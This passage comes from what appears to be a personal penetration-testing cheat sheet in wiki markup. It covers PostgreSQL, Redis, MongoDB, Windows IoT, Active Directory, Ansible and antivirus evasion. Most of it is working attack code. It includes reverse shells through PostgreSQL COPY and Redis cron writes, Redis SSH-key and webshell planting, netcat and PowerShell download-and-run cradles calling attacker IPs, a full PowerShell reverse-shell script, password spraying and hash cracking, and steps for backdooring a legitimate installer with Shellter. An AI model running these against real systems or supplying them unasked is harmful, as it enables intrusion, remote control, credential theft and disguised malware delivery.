#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
